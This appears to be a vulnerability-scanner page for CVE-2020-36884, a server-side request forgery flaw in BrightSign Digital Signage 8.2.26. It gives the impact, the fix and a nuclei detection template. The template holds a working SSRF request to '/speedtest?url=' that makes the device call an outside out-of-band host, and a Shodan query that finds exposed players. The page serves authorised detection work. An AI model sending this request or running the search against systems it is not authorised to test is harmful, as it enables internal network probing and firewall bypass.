BrightSign Digital Signage 8.2.26 - Server-Side Request Forgery

mediumseverity

1.2%likelihood of exploitation, next 30 days

69%of all CVEs are less likely

Readycheck to confirm it

Unauthenticated Server-Side Request Forgery (SSRF) vulnerability exists in the BrightSign digital signage media player affecting the Diagnostic Web Server (DWS). The application parses user supplied data in the 'url' GET parameter to construct a diagnostics request to the Download Speed Test service.

Impact

Attackers can bypass firewalls and enumerate internal network hosts by forcing arbitrary HTTP requests.

Fix

Update to a version later than 8.2.26 or the latest available version.

How to confirm it

Send: GET {{BaseURL}}/speedtest?url={{interactsh-url}}
Positive when: contains in interactsh_protocol "http" AND contains(body_1, "Downloaded")

Run it with nuclei: nuclei -id CVE-2020-36884 -u <target>

The full check

id: CVE-2020-36884

info:
  name: BrightSign Digital Signage 8.2.26 - Server-Side Request Forgery
  author: 0x_Akoko
  severity: medium
  description: |
    Unauthenticated Server-Side Request Forgery (SSRF) vulnerability exists in the BrightSign digital signage media player affecting the Diagnostic Web Server (DWS). The application parses user supplied data in the 'url' GET parameter to construct a diagnostics request to the Download Speed Test service.
  impact: |
    Attackers can bypass firewalls and enumerate internal network hosts by forcing arbitrary HTTP requests.
  remediation: |
    Update to a version later than 8.2.26 or the latest available version.
  reference:
    - https://brightsign.zendesk.com/hc/en-us/articles/360056180694-Regarding-Advisory-ID-ZSL-2020-5595
    - https://www.zeroscience.mk/codes/brightsign_ssrf.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2020-36884
  classification:
    cve-id: CVE-2020-36884
    epss-score: 0.01199
    epss-percentile: 0.6841
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"BrightSign"
  tags: cve,cve2020,ssrf,brightsign,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/speedtest?url={{interactsh-url}}'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: dsl
        dsl:
          - 'contains(body_1, "Downloaded")'

References

Use this check only on systems you are authorised to test. Where the data comes from